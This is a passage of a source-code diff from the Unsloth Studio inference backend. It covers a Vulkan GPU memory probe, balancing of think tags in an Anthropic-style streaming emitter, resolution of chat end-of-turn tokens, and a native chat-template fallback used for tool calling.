+    ``ggml_backend_vk_get_device_memory`` (each context uses ``ctx->device =
+    i``), so reg index == device ordinal. Returns all-False on any failure so
+    the reader never over-caps a discrete card.
+    """
+    flags = [False] * count
+    try:
+        lib.ggml_backend_vk_reg.restype = ctypes.c_void_p
+        lib.ggml_backend_vk_reg.argtypes = []
+        base.ggml_backend_reg_dev_count.restype = ctypes.c_size_t
+        base.ggml_backend_reg_dev_count.argtypes = [ctypes.c_void_p]
+        base.ggml_backend_reg_dev_get.restype = ctypes.c_void_p
+        base.ggml_backend_reg_dev_get.argtypes = [ctypes.c_void_p, ctypes.c_size_t]
+        base.ggml_backend_dev_type.restype = ctypes.c_int
+        base.ggml_backend_dev_type.argtypes = [ctypes.c_void_p]
+
+        reg = lib.ggml_backend_vk_reg()
+        if not reg:
+            return flags
+        dev_count = base.ggml_backend_reg_dev_count(reg)
+        for i in range(min(count, dev_count)):
+            dev = base.ggml_backend_reg_dev_get(reg, i)
+            if dev:
+                flags[i] = base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU
+    except Exception:
+        # Best-effort: any failure degrades to "discrete" so the memory
+        # readings still get through instead of crashing the probe.
+        pass
+    return flags
+
+
+def main() -> int:
+    if len(sys.argv) < 2:
+        return 0
+    bindir = sys.argv[1]
+
+    # Hold add_dll_directory's handle for the rest of main() (the documented
+    # idiom) so bindir stays on the search path while the sibling ggml DLLs
+    # resolve below.
+    _dll_dir = None
+    if sys.platform == "win32":
+        base_name, vk_name = "ggml-base.dll", "ggml-vulkan.dll"
+        try:
+            _dll_dir = os.add_dll_directory(bindir)
+        except Exception:
+            pass
+    else:
+        base_name, vk_name = "libggml-base.so", "libggml-vulkan.so"
+
+    # RTLD_GLOBAL exposes ggml-base's symbols to ggml-vulkan on POSIX. getattr
+    # falls back to 0 where the flag doesn't exist (Windows CDLL ignores mode).
+    _rtld_global = getattr(ctypes, "RTLD_GLOBAL", 0)
+    try:
+        base = ctypes.CDLL(os.path.join(bindir, base_name), mode = _rtld_global)
+        lib = ctypes.CDLL(os.path.join(bindir, vk_name), mode = _rtld_global)
+    except OSError as e:
+        print(f"ggml-vulkan load failed: {e}", file = sys.stderr)
+        return 1
+
+    lib.ggml_backend_vk_get_device_count.restype = ctypes.c_int
+    lib.ggml_backend_vk_get_device_count.argtypes = []
+    lib.ggml_backend_vk_get_device_memory.restype = None
+    lib.ggml_backend_vk_get_device_memory.argtypes = [
+        ctypes.c_int,
+        ctypes.POINTER(ctypes.c_size_t),
+        ctypes.POINTER(ctypes.c_size_t),
+    ]
+
+    count = lib.ggml_backend_vk_get_device_count()
+    igpu = _igpu_flags(base, lib, count)
+    rows = []
+    for i in range(count):
+        free, total = ctypes.c_size_t(0), ctypes.c_size_t(0)
+        lib.ggml_backend_vk_get_device_memory(i, ctypes.byref(free), ctypes.byref(total))
+        rows.append("%d\t%d\t%d\t%d" % (i, free.value, int(igpu[i]), total.value))
+    sys.stdout.write("\n".join(rows))
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py
index 7b572a28ff..34445cc58e 100644
--- a/studio/backend/core/inference/anthropic_compat.py
+++ b/studio/backend/core/inference/anthropic_compat.py
@@ -258,6 +258,10 @@ class AnthropicStreamEmitter:
         self._open_tool_use_id: Optional[str] = None
         self._open_tool_args_sent: bool = False
         self._prev_text: str = ""
+        # Net <think> minus </think> in the text emitted to the client. Tracked
+        # from emitted deltas (not _prev_text, which a final bare shrink clobbers)
+        # so an unclosed reasoning-only block can be balanced before close.
+        self._open_think_tags: int = 0
         self._usage: dict = {}
 
     def start(
@@ -317,6 +321,7 @@ class AnthropicStreamEmitter:
         """Close any open block and emit message_delta + message_stop."""
         events = []
         if self._text_block_open or self._open_tool_call_id is not None:
+            events.extend(self._close_open_think())
             events.append(self._close_block())
             self._open_tool_call_id = None
             self._open_tool_use_id = None
@@ -344,12 +349,33 @@ class AnthropicStreamEmitter:
         )
         return events
 
+    def _close_open_think(self) -> list[str]:
+        """Emit a ``</think>`` delta when the streamed text left a ``<think>``
+        open. This emitter diffs cumulative snapshots and drops the generator's
+        final bare shrink, so a reasoning-only reply would otherwise end on an
+        unclosed tag. Mirrors the chat route's reasoning extractor, which closes
+        the block on finish; balances the block before it is closed."""
+        if not self._text_block_open or self._open_think_tags <= 0:
+            return []
+        self._open_think_tags = 0
+        return [
+            build_anthropic_sse_event(
+                "content_block_delta",
+                {
+                    "type": "content_block_delta",
+                    "index": self.block_index,
+                    "delta": {"type": "text_delta", "text": "</think>"},
+                },
+            )
+        ]
+
     def _handle_content(self, event: dict) -> list[str]:
         cumulative = event.get("text", "")
         new_text = cumulative[len(self._prev_text) :]
         self._prev_text = cumulative
         if not new_text:
             return []
+        self._open_think_tags += new_text.count("<think>") - new_text.count("</think>")
         if not self._text_block_open:
             events = self._open_text_block()
         else:
@@ -374,6 +400,7 @@ class AnthropicStreamEmitter:
 
         events = []
         if self._text_block_open:
+            events.extend(self._close_open_think())
             events.append(self._close_block())
         # Defensive: close a stale open tool_use block before starting another.
         elif self._open_tool_call_id is not None:
@@ -452,6 +479,7 @@ class AnthropicStreamEmitter:
         events.extend(self._open_text_block())
         # Reset text tracking for the next synthesis turn
         self._prev_text = ""
+        self._open_think_tags = 0
         return events
 
     def _open_text_block(self) -> list[str]:
@@ -511,7 +539,7 @@ class AnthropicPassthroughEmitter:
 
         Only calls naming a tool in ``allowed_tools`` (the client's declared
         tools) are promoted; everything else streams as text exactly as before.
-        Never enabled for Studio's own tool loop.
+        Never enabled for Unsloth's own tool loop.
         """
         from core.inference.passthrough_healing import StreamToolCallHealer
 
diff --git a/studio/backend/core/inference/audio_codecs.py b/studio/backend/core/inference/audio_codecs.py
index 93c7da72cb..b59f2bcce0 100644
--- a/studio/backend/core/inference/audio_codecs.py
+++ b/studio/backend/core/inference/audio_codecs.py
@@ -76,8 +76,14 @@ class AudioCodecManager:
         if self._snac_model is not None:
             return
         from snac import SNAC
+        from utils.hf_cache_settings import active_hf_hub_cache
 
-        self._snac_model = SNAC.from_pretrained("hubertsiuzdak/snac_24khz").to(device).eval()
+        # Route weights to the selected cache; this can run in the main process.
+        self._snac_model = (
+            SNAC.from_pretrained("hubertsiuzdak/snac_24khz", cache_dir = active_hf_hub_cache())
+            .to(device)
+            .eval()
+        )
         logger.info("Loaded SNAC codec (24kHz)")
 
     def _load_bicodec(
diff --git a/studio/backend/core/inference/chat_eos.py b/studio/backend/core/inference/chat_eos.py
new file mode 100644
index 0000000000..2a5d0db228
--- /dev/null
+++ b/studio/backend/core/inference/chat_eos.py
@@ -0,0 +1,109 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resolve a chat model's assistant-turn-end stop tokens.
+
+Some checkpoints set eos_token_id to a bare document terminator (Qwen3.5 ships
+config eos ``<|endoftext|>`` though chat turns end with ``<|im_end|>``, and its
+small chat variants ship no generation_config), so generation runs past the turn
+and loops -- re-emitting tool calls or hallucinating ``<|im_start|>`` turns.
+
+Turn-end markers are derived from the tokenizer's ``chat_template`` (the tokens it
+actually uses to end a turn), not raw vocab membership: a base/coder model can
+carry ChatML control tokens in a shared vocab without using them, and a loader
+may have synced ``eos_token`` to the document terminator. Dependency-light (no
+torch / unsloth) so it is unit-testable without the full inference stack.
+"""
+
+from typing import Optional
+
+# Canonical assistant-turn-end markers per chat family.
+_CHAT_TURN_END_TOKENS = (
+    "<|im_end|>",  # ChatML: Qwen, Yi
+    "<|eot_id|>",  # Llama 3.x
+    "<|eom_id|>",  # Llama 3.x tool turns
+    "<end_of_turn>",  # Gemma
+    "<turn|>",  # Gemma-4
+    "<|end|>",  # Phi
+    "<|end_of_turn|>",  # OpenChat / Starling (barred, distinct from Gemma's)
+)
+# harmony/gpt-oss uses <|end|> as a channel delimiter, not the turn end, and has
+# its own streamer, so its eos is left untouched.
+_HARMONY_MARKERS = ("<|channel|>", "<|constrain|>")
+
+
+def _eos_id_set(eos_token_id) -> set:
+    if isinstance(eos_token_id, (list, tuple)):
+        return {int(t) for t in eos_token_id if t is not None}
+    if eos_token_id is not None:
+        return {int(eos_token_id)}
+    return set()
+
+
+def _collect_template_text(chat_template) -> str:
+    """Flatten a tokenizer ``chat_template`` into one scannable string.
+
+    Usually the template is a single jinja string, but multi-variant models
+    (e.g. Hermes-3: a ``default`` plus a ``tool_use`` template) expose it as a
+    ``{name: template}`` dict -- or, as stored in tokenizer_config.json, a list
+    of ``{"name": ..., "template": ...}`` dicts. Scanning only the ``str`` case
+    would skip turn-end detection for those valid models, so gather every string
+    leaf (variant names are harmless: they never contain the markers).
+    """
+    if isinstance(chat_template, str):
+        return chat_template
+    if isinstance(chat_template, dict):
+        values = chat_template.values()
+    elif isinstance(chat_template, (list, tuple)):
+        values = chat_template
+    else:
+        return ""
+    parts = [_collect_template_text(v) for v in values]
+    return "\n".join(p for p in parts if p)
+
+
+def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> list:
+    """eos of ``id_tokenizer`` plus any canonical turn-end marker the
+    ``template_tokenizer``'s chat_template uses, resolved to ids on ``id_tokenizer`` --
+    the tokenizer generation actually uses.
+
+    Pass the same tokenizer for both at load time. After a mapped ``get_chat_template``
+    pass the MAPPED tokenizer as ``template_tokenizer`` (it carries the effective
+    template) and the ORIGINAL generation tokenizer as ``id_tokenizer``: a mapped
+    template registered ``map_eos_token=True`` can hand back a tokenizer whose vocab
+    folds the turn-end token onto the doc-eos id, and generate_stream re-reads the
+    original tokenizer, so resolving ids on the mapped tokenizer would store the wrong
+    (doc-eos) id and let generation run past the real turn marker."""
+    ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None))
+    template = _collect_template_text(getattr(template_tokenizer, "chat_template", None))
+    if not template or any(h in template for h in _HARMONY_MARKERS):
+        return sorted(ids)
+    unk = getattr(id_tokenizer, "unk_token_id", None)
+    for marker in _CHAT_TURN_END_TOKENS:
+        if marker in template:
+            try:
+                tid = id_tokenizer.convert_tokens_to_ids(marker)
+            except Exception:
+                tid = None
+            if tid is not None and tid != unk and int(tid) >= 0:
+                ids.add(int(tid))
+    return sorted(ids)
+
+
+def resolve_chat_turn_end_eos_ids(tokenizer) -> list:
+    """tokenizer.eos plus any canonical turn-end marker the model's chat_template
+    actually uses. Cheap (convert_tokens_to_ids per marker, no get_vocab); intended
+    to be resolved once at load. Returns eos unchanged for harmony templates."""
+    return resolve_chat_turn_end_eos_ids_using(tokenizer, tokenizer)
+
+
+def chat_eos_repair(current_eos, turn_end_ids) -> Optional[list]:
+    """Merged eos_token_id list, or None if ``current_eos`` already covers every
+    resolved turn-end id. Used to repair a model's generation_config at load so
+    every ``.generate()`` path (vision, tool loops) stops at the turn boundary."""
+    if not turn_end_ids:
+        return None
+    current_set = _eos_id_set(current_eos)
+    if set(turn_end_ids) <= current_set:
+        return None
+    return sorted(current_set | set(turn_end_ids))
diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py
index b85e9c348a..528c059fbc 100644
--- a/studio/backend/core/inference/chat_template_helpers.py
+++ b/studio/backend/core/inference/chat_template_helpers.py
@@ -3,11 +3,328 @@
 
 """
 Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg
-fallback for templates that reject reasoning/tools args.
+fallback for templates that reject reasoning/tools args, plus the shared
+native-chat-template fallback used by the transformers and MLX backends.
 """
 
+import copy
+import json
+import logging
+from dataclasses import dataclass
 from typing import Optional
 
+_THINK_OPEN = "<think>"
+_THINK_CLOSE = "</think>"
+_GEMMA_CHANNEL_START = "<|channel>"
+_GEMMA_THOUGHT_OPEN = "<|channel>thought"
+_GEMMA_THOUGHT_CLOSE = "<channel|>"
+_GEMMA_TEMPLATE_OPENERS = (
+    _GEMMA_THOUGHT_OPEN + "\n",
+    _GEMMA_THOUGHT_OPEN + "\\n",
+    _GEMMA_THOUGHT_OPEN + _GEMMA_THOUGHT_CLOSE,
+)
+
+
+def _tokenizer_objects(tokenizer) -> tuple:
+    """Return a processor/tokenizer and its distinct nested tokenizer."""
+    if tokenizer is None:
+        return ()
+    nested = getattr(tokenizer, "tokenizer", None)
+    return (tokenizer,) if nested is None or nested is tokenizer else (tokenizer, nested)
+
+
+def _selected_template_strings_from_value(
+    template,
+    tools = None,
+    *,
+    prefer_tool_use: bool = True,
+) -> tuple[str, ...]:
+    """Return the named chat template matching HF's default selection rules."""
+    tools = tools or None
+    if isinstance(template, str):
+        return (template,)
+    if not isinstance(template, dict):
+        return ()
+    if prefer_tool_use and tools and isinstance(template.get("tool_use"), str):
+        return (template["tool_use"],)
+    if isinstance(template.get("default"), str):
+        return (template["default"],)
+    values = tuple(value for value in template.values() if isinstance(value, str))
+    return values if len(values) == 1 else ()
+
+
+def _selected_chat_template_strings(tokenizer, tools = None) -> tuple[str, ...]:
+    """Return the active chat template selected for this request."""
+    tools = tools or None
+    getter = getattr(tokenizer, "get_chat_template", None)
+    if callable(getter):
+        for kwargs in ({"chat_template": None, "tools": tools}, {"tools": tools}, {}):
+            try:
+                selected = getter(**kwargs)
+            except Exception:
+                continue
+            if isinstance(selected, str):
+                return (selected,)
+    # ProcessorMixin.apply_chat_template does not switch to "tool_use" implicitly;
+    # it uses "default" unless chat_template= names another template.
+    is_processor = getattr(tokenizer, "tokenizer", None) is not None and callable(
+        getattr(tokenizer, "apply_chat_template", None)
+    )
+    return _selected_template_strings_from_value(
+        getattr(tokenizer, "chat_template", None),
+        tools,
+        prefer_tool_use = not is_processor,
+    )
+
+
+def _detect_reasoning_channel_markers_from_templates(
+    templates: tuple[str, ...],
+) -> Optional[tuple[str, str]]:
+    """Return Gemma native reasoning markers only when a template emits them."""
+    if any(opener in template for template in templates for opener in _GEMMA_TEMPLATE_OPENERS):
+        return _GEMMA_THOUGHT_OPEN, _GEMMA_THOUGHT_CLOSE
+    return None
+
+
+def detect_reasoning_channel_markers(tokenizer, tools = None) -> Optional[tuple[str, str]]:
+    """Return native Gemma thought-channel markers supported by a tokenizer.
+
+    Detection uses the active chat template rather than model names or vocabulary
+    membership. Some models expose Gemma control tokens without using the native
+    thought-channel response protocol, and those must keep normal
+    ``skip_special_tokens`` streaming.
+    """
+    for obj in _tokenizer_objects(tokenizer):
+        templates = _selected_chat_template_strings(obj, tools)
+        if templates:
+            return _detect_reasoning_channel_markers_from_templates(templates)
+    return None
+
+
+def detect_reasoning_channel_markers_from_template(
+    template, tools = None
+) -> Optional[tuple[str, str]]:
+    """Return native Gemma thought-channel markers from a raw template value."""
+    return _detect_reasoning_channel_markers_from_templates(
+        _selected_template_strings_from_value(template, tools)
+    )
+
+
+def detect_reasoning_channel_markers_from_model_info(
+    tokenizer,
+    model_info: Optional[dict] = None,
+    tools = None,
+) -> Optional[tuple[str, str]]:
+    """Return reasoning markers from the active or cached native template."""
+    markers = detect_reasoning_channel_markers(tokenizer, tools = tools)
+    if markers is not None or not isinstance(model_info, dict):
+        return markers
+
+    native_templates = (
+        model_info.get("native_chat_template"),
+        (model_info.get("chat_template_info") or {}).get("template"),
+    )
+    for template in native_templates:
+        markers = detect_reasoning_channel_markers_from_template(template, tools)
+        if markers is not None:
+            return markers
+    return None
+
+
+@dataclass(frozen = True)
+class ChatTemplateRenderResult:
+    """Prompt plus response-protocol metadata selected by the renderer."""
+
+    prompt: str
+    reasoning_channel_markers: Optional[tuple[str, str]] = None
+
+
+def _split_partial_marker(text: str, marker: str) -> tuple[str, str]:
+    """Hold the longest suffix that may become ``marker`` in the next chunk."""
+    for length in range(min(len(text), len(marker) - 1), 0, -1):
+        if text.endswith(marker[:length]):
+            return text[:-length], text[-length:]
+    return text, ""
+
+
+class ReasoningChannelNormalizer:
+    """Incrementally convert one native reasoning channel to ``<think>``.
+
+    The parser follows mlx-vlm's streaming boundary behavior but emits Unsloth's
+    established canonical text contract. Only the configured opening and
+    closing markers are consumed; tool-call and other control markers remain
+    available to downstream parsers.
+    """
+
+    def __init__(self, opening_marker: str, closing_marker: str):
+        self._opening_marker = opening_marker
+        self._closing_marker = closing_marker
+        self._buffer = ""
+        self._in_reasoning = False
+        self._reasoning_done = False
+        self._skip_opening_newline = False
+
+    def feed(self, text: str) -> str:
+        """Consume a raw text delta and return the stable canonical delta."""
+        self._buffer += text or ""
+        output: list[str] = []
+        while self._buffer:
+            if self._reasoning_done:
+                output.append(self._buffer)
+                self._buffer = ""
+                break
+
+            if self._in_reasoning and self._skip_opening_newline:
+                if self._buffer.startswith("\n"):
+                    self._buffer = self._buffer[1:]
+                self._skip_opening_newline = False
+                if not self._buffer:
+                    break
+
+            marker = self._closing_marker if self._in_reasoning else self._opening_marker
+            index = self._buffer.find(marker)
+            if index < 0:
+                stable, self._buffer = _split_partial_marker(self._buffer, marker)
+                output.append(stable)
+                break
+
+            output.append(self._buffer[:index])
+            self._buffer = self._buffer[index + len(marker) :]
+            if self._in_reasoning:
+                output.append(_THINK_CLOSE)
+                self._in_reasoning = False
+                self._reasoning_done = True
+            else:
+                output.append(_THINK_OPEN)
+                self._in_reasoning = True
+                self._skip_opening_newline = True
+        return "".join(output)
+
+    def finish(self) -> str:
+        """Flush a naturally completed stream and close an open think block."""
+        output = self.drain()
+        if self._in_reasoning:
+            output += _THINK_CLOSE
+            self._in_reasoning = False
+            self._reasoning_done = True
+        return output
+
+    def drain(self) -> str:
+        """Flush buffered literal text without synthesizing a closing tag."""
+        output = self._buffer
+        self._buffer = ""
+        return output
+
+
+def normalize_reasoning_snapshots(
+    stream,
+    tokenizer = None,
+    cancel_event = None,
+    markers: Optional[tuple[str, str]] = None,
+    tools = None,
+):
+    """Normalize a prefix-monotonic cumulative text stream when supported."""
+    markers = markers or detect_reasoning_channel_markers(tokenizer, tools = tools)
+    if markers is None:
+        yield from stream
+        return
+
+    normalizer = ReasoningChannelNormalizer(*markers)
+    raw_output = ""
+    normalized_output = ""
+    for snapshot in stream:
+        if not snapshot.startswith(raw_output):
+            raise RuntimeError("Reasoning normalization requires cumulative text snapshots")
+        delta = normalizer.feed(snapshot[len(raw_output) :])
+        raw_output = snapshot
+        if delta:
+            normalized_output += delta
+            yield normalized_output
+
+    cancelled = cancel_event is not None and cancel_event.is_set()
+    tail = normalizer.drain() if cancelled else normalizer.finish()
+    if tail:
+        normalized_output += tail
+        yield normalized_output
+
+
+def detect_think_prefill(prompt: Optional[str], special_tokens = None) -> str:
+    """Return the trailing open ``<think>`` prefill of a rendered prompt.
+
+    Reasoning templates (Qwen3.6, DeepSeek-R1-style) end the generation
+    prompt with ``<think>\\n`` so the model starts reasoning immediately.
+    Because that opening tag is part of the *prompt*, skip_prompt streaming
+    never emits it, and the frontend's ``<think>``/``</think>`` parser shows
+    the reasoning as plain text instead of a thinking block. (The GGUF path
+    is unaffected: llama-server's reasoning parser returns
+    ``reasoning_content``, which gets re-wrapped in think tags.)
+
+    Returns the exact prompt tail to re-emit at the start of the generated
+    stream (e.g. ``"<think>\\n"``), or ``""`` when the prompt does not end
+    with an open think block, including the ``enable_thinking=False`` case
+    where templates prefill an already-closed ``<think>\\n\\n</think>``.
+
+    ``special_tokens`` is the tokenizer's special-token list. If ``</think>``
+    is one, the streamer's skip_special_tokens strips the model's closing tag,
+    so re-emitting the open would leave an unclosed block that swallows the
+    answer. In that case return ``""`` and fall back to plain text.
+    """
+    if not prompt:
+        return ""
+    open_idx = prompt.rfind(_THINK_OPEN)
+    if open_idx == -1:
+        return ""
+    tail = prompt[open_idx:]
+    if _THINK_CLOSE in tail or tail.strip() != _THINK_OPEN:
+        return ""
+    if special_tokens and _THINK_CLOSE in set(special_tokens):
+        return ""
+    return tail
+
+
+logger = logging.getLogger(__name__)
+
+
+def _normalize_tool_call_arguments(messages: list) -> list:
+    """Coerce each assistant ``tool_calls[].function.arguments`` from a JSON
+    string to a dict.
+
+    The OpenAI wire format carries ``arguments`` as a JSON string, but some chat
+    templates (e.g. the stricter Qwen tool templates shipped with mlx-community
+    checkpoints) iterate ``arguments.items()`` and raise
+    ``TypeError: Can only get item pairs from a mapping.`` on the string form
+    when a prior tool call is re-rendered on the next turn. A dict works on both
+    strict and lenient templates, so parse the string; leave non-JSON or non-dict
+    values untouched. Returns the original list unchanged when nothing needed
+    coercing (no copy)."""
+    mutated = False
+    out: list = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls") if isinstance(msg, dict) else None
+        if not tool_calls:
+            out.append(msg)
+            continue
+        new_calls = []
+        msg_changed = False
+        for call in tool_calls:
+            fn = call.get("function") if isinstance(call, dict) else None
+            args = fn.get("arguments") if isinstance(fn, dict) else None
+            if isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (ValueError, TypeError):
+                    parsed = None
+                if isinstance(parsed, dict):
+                    call = {**call, "function": {**fn, "arguments": parsed}}
+                    msg_changed = True
+            new_calls.append(call)
+        if msg_changed:
+            out.append({**msg, "tool_calls": new_calls})
+            mutated = True
+        else:
+            out.append(msg)
+    return out if mutated else messages
+
 
 def apply_chat_template_for_generation(
     tokenizer,
@@ -38,21 +355,241 @@ def apply_chat_template_for_generation(
         attempts.append(dict(reasoning_kwargs))
     attempts.append({})
 
-    last_exc: Optional[Exception] = None
-    for kwargs in attempts:
+    def _render(msgs: list) -> str:
+        last_exc: Optional[Exception] = None
+        for kwargs in attempts:
+            try:
+                return tokenizer.apply_chat_template(
+                    msgs,
+                    tokenize = False,
+                    add_generation_prompt = True,
+                    **kwargs,
+                )
+            except TypeError as e:
+                last_exc = e
+                continue
+            except Exception as e:
+                last_exc = e
+                break
+        if last_exc is not None:
+            raise last_exc
+        raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+
+    try:
+        return _render(messages)
+    except Exception:
+        # Strict tool templates reject the JSON-string ``arguments`` form via
+        # TypeError or a broad Jinja raise_exception, so retry with dicts coerced.
+        # Original messages render first, so working templates stay byte-identical.
+        normalized = _normalize_tool_call_arguments(messages)
+        if normalized is messages:
+            raise
+        return _render(normalized)
+
+
+def render_native_template(
+    *,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: list,
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+    return_metadata: bool = False,
+):
+    """Render ``messages`` + ``tools`` with the model's NATIVE chat template.
+
+    Some Unsloth override templates (e.g. ``mistral``, ``gemma-4``) do not emit
+    the ``tools`` schema, so a tool-calling turn silently stops advertising tools.
+    The native template ships in the model repo and carries the family's
+    tool-calling syntax. It is loaded straight from the repo (bypassing any
+    override on the live tokenizer) and cached on ``model_info``. Returns the
+    rendered prompt only if the native template actually emits the tools (render
+    differs with vs without tools); otherwise ``None``. With ``return_metadata``,
+    returns ``ChatTemplateRenderResult`` so callers can stream with the response
+    protocol selected by this request's template.
+
+    ``hf_token`` is the token the model was loaded with -- passed to the repo load
+    so a gated/private model's native template can still be fetched (otherwise the
+    fallback fails silently and keeps the override prompt that dropped tools).
+
+    ``trust_remote_code`` is sourced from ``model_info`` (the value the model was
+    actually loaded with) rather than a call-site argument, so the native-template
+    reload uses exactly the consent already granted at load. A custom-code tokenizer
+    repo raises in ``AutoTokenizer.from_pretrained`` unless ``trust_remote_code`` is
+    passed, so without this the fallback fails silently and keeps the tool-dropping
+    prompt for a model the user already consented to run remote code for. For a LoRA
+    adapter the reload targets the base model, whose remote code was gated and loaded
+    under the same stored flag, so re-passing it executes no unconsented code.
+    """
+    # ``apply_fn`` lets a backend inject its own render; defaults to the module helper.
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    native_tpl = model_info.get("native_chat_template")
+    if native_tpl is None:
+        # A LoRA adapter's native template lives on the base model, not the adapter id.
+        template_source = model_info.get("base_model") or active_model_name
+        # Re-use the load-time trust_remote_code so a custom-code tokenizer repo can
+        # instantiate its class (the stored flag already covers template_source).
+        trust_remote_code = bool(model_info.get("trust_remote_code", False))
         try:
-            return tokenizer.apply_chat_template(
-                messages,
-                tokenize = False,
-                add_generation_prompt = True,
-                **kwargs,
+            from transformers import AutoTokenizer
+            nt = AutoTokenizer.from_pretrained(
+                template_source,
+                token = hf_token if hf_token and hf_token.strip() else None,
+                trust_remote_code = trust_remote_code,
             )
-        except TypeError as e:
-            last_exc = e
-            continue
-        except Exception as e:
-            last_exc = e
-            break
-    if last_exc is not None:
-        raise last_exc
-    raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result")
+            native_tpl = nt.chat_template or False
+        except Exception as exc:
+            logger.warning(
+                "Could not load native chat template for '%s': %s",
+                template_source,
+                exc,
+            )
+            # A failed fetch is not "no template": leave the sentinel unset so the next
+            # call retries (caching False would pin the tool-dropping override).
+            return None
+        model_info["native_chat_template"] = native_tpl
+    if not native_tpl:
+        return None
+
+    tokenizer = model_info.get("tokenizer") or model_info.get("processor")
+    if tokenizer is None:
+        return None
+    tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
+    # Render on a shallow copy: mutating the shared tokenizer.chat_template (outside the
+    # generation lock) races concurrent requests.
+    try:
+        render_tokenizer = copy.copy(tokenizer)
+        render_tokenizer.chat_template = native_tpl
+    except Exception as exc:
+        logger.warning(
+            "Could not clone tokenizer for native-template render of '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    try:
+        with_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+        no_tools = apply_fn(
+            render_tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "Native-template tool render failed for '%s': %s",
+            active_model_name,
+            exc,
+        )
+        return None
+    if with_tools == no_tools:
+        return None
+    if return_metadata:
+        return ChatTemplateRenderResult(
+            with_tools,
+            _detect_reasoning_channel_markers_from_templates(
+                _selected_template_strings_from_value(native_tpl, tools)
+            ),
+        )
+    return with_tools
+
+
+def render_with_native_template_fallback(
+    *,
+    formatted_prompt: str,
+    tokenizer,
+    model_info: dict,
+    active_model_name: Optional[str],
+    messages: list,
+    tools: Optional[list],
+    enable_thinking: Optional[bool] = None,
+    reasoning_effort: Optional[str] = None,
+    preserve_thinking: Optional[bool] = None,
+    apply_fn = None,
+    hf_token: Optional[str] = None,
+    return_metadata: bool = False,
+):
+    """Return ``formatted_prompt``, swapping in a native-template render when an
+    override template dropped the ``tools`` schema.
+
+    If ``tools`` were requested but the live render is identical with and without
+    them (detected by comparison, robust against tool names in the system prompt),
+    re-render with the model's native template. Shared by the transformers and MLX
+    backends so both advertise tools consistently. ``hf_token`` is forwarded so a
+    gated/private model's native template can still be fetched. With
+    ``return_metadata``, returns the selected prompt plus reasoning-channel markers
+    for the exact template used by this request."""
+    live_markers = detect_reasoning_channel_markers(tokenizer, tools = tools)
+
+    def _result(prompt: str, markers = live_markers):
+        if return_metadata:
+            return ChatTemplateRenderResult(prompt, markers)
+        return prompt
+
+    if not tools:
+        # Gemma 4 can emit its native reasoning protocol even when a generation-time
+        # Unsloth override rendered a marker-free prompt. Preserve the live-verified
+        # no-tools thinking behavior without letting cached native metadata describe
+        # unrelated tool prompts that kept the active override.
+        markers = live_markers
+        if markers is None:
+            markers = detect_reasoning_channel_markers_from_model_info(
+                tokenizer, model_info, tools = None
+            )
+        return _result(formatted_prompt, markers)
+    if apply_fn is None:
+        apply_fn = apply_chat_template_for_generation
+    # Probe whether the live template dropped the schema. A tools-requiring template
+    # can raise here; on any error keep the valid tools prompt rather than lose it.
+    try:
+        probe_no_tools = apply_fn(
+            tokenizer,
+            messages,
+            tools = None,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
+    except Exception as exc:
+        logger.warning(
+            "No-tools probe failed for '%s'; keeping the existing tools prompt: %s",
+            active_model_name,
+            exc,
+        )
+        return _result(formatted_prompt)
+    if formatted_prompt != probe_no_tools:
+        return _result(formatted_prompt)  # template already emits the tools schema
+    native_prompt = render_native_template(
+        model_info = model_info,
+        active_model_name = active_model_name,
+        messages = messages,
+        tools = tools,
+        enable_thinking = enable_thinking,
+        reasoning_effort = reasoning_effort,
+        preserve_thinking = preserve_thinking,
+        apply_fn = apply_fn,
+        hf_token = hf_token,
+        return_metadata = return_metadata,
+    )
+    if native_prompt:
+        logger.info(
+            "Override template for '%s' dropped tool schemas; using the model's "
+            "native template for this tool-calling turn.",
+            active_model_name,
+        )
+        return native_prompt
+    return _result(formatted_prompt)
diff --git a/studio/backend/core/inference/chat_templates.py b/studio/backend/core/inference/chat_templates.py
index 58f63ff61b..04c0db6aae 100644
--- a/studio/backend/core/inference/chat_templates.py
+++ b/studio/backend/core/inference/chat_templates.py
@@ -4,13 +4,13 @@
 """Bundled chat-template selection for GGUF inference.
 
 Some shipped GGUF quants embed an older chat template. Rather than re-cutting and
-asking users to re-download every quant, Studio can override the embedded template
+asking users to re-download every quant, Unsloth can override the embedded template
 at llama-server launch time with a bundled, up-to-date Jinja template for known
 model families. The override is wired through the existing ``chat_template_override``
 -> ``--chat-template-file`` path in ``LlamaCppBackend.load_model``.
 
 Currently this covers ``unsloth/gemma-4-*-GGUF``, which gains the upstream PR #118
-``preserve_thinking`` flag (defaulted OFF here) so the Studio "Preserve thinking"
+``preserve_thinking`` flag (defaulted OFF here) so the Unsloth "Preserve thinking"
 toggle appears while staying disabled by default.
 """
 
